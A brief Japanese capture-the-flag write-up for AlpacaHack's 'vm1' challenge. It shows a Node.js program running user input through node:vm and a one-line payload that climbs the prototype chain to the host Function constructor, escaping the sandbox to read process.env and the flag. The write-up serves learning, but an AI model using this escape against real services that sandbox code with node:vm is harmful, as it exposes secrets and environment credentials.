vm1 — Daily AlpacaHack

コード

import { runInNewContext } from "node:vm";

console.log("Input JavaScript code (Example: 1+2):");
process.stdin.on("data", code => {
  console.log(runInNewContext(code.toString(), {}, { timeout: 1000 }));
});

compose.yaml を見ると FLAG が環境変数に入っているのでこれを読み取ることを目標とする。

why

https://nodejs.org/api/vm.html

const { createContext, runInContext } = require('node:vm');

// An undefined `contextObject` option makes the global object contextified.
const context = createContext();
console.log(runInContext('globalThis', context) === context);  // false

// A contextified global object cannot be frozen.
try {
  runInContext('Object.freeze(globalThis);', context);
} catch (e) {
  console.log(`${e.constructor.name}: ${e.message}`); // TypeError: Cannot freeze
}

console.log(runInContext('globalThis.foo = 1; foo;', context));  // 1

solve

以下を入力

globalThis.__proto__.constructor.constructor('return process.env')()

(function(”return process.env”) と同じ役目)

以下のようなオブジェクトを得る。

{
  PWD: '/app',
  FLAG: 'Alpaca{REDACTED}'
}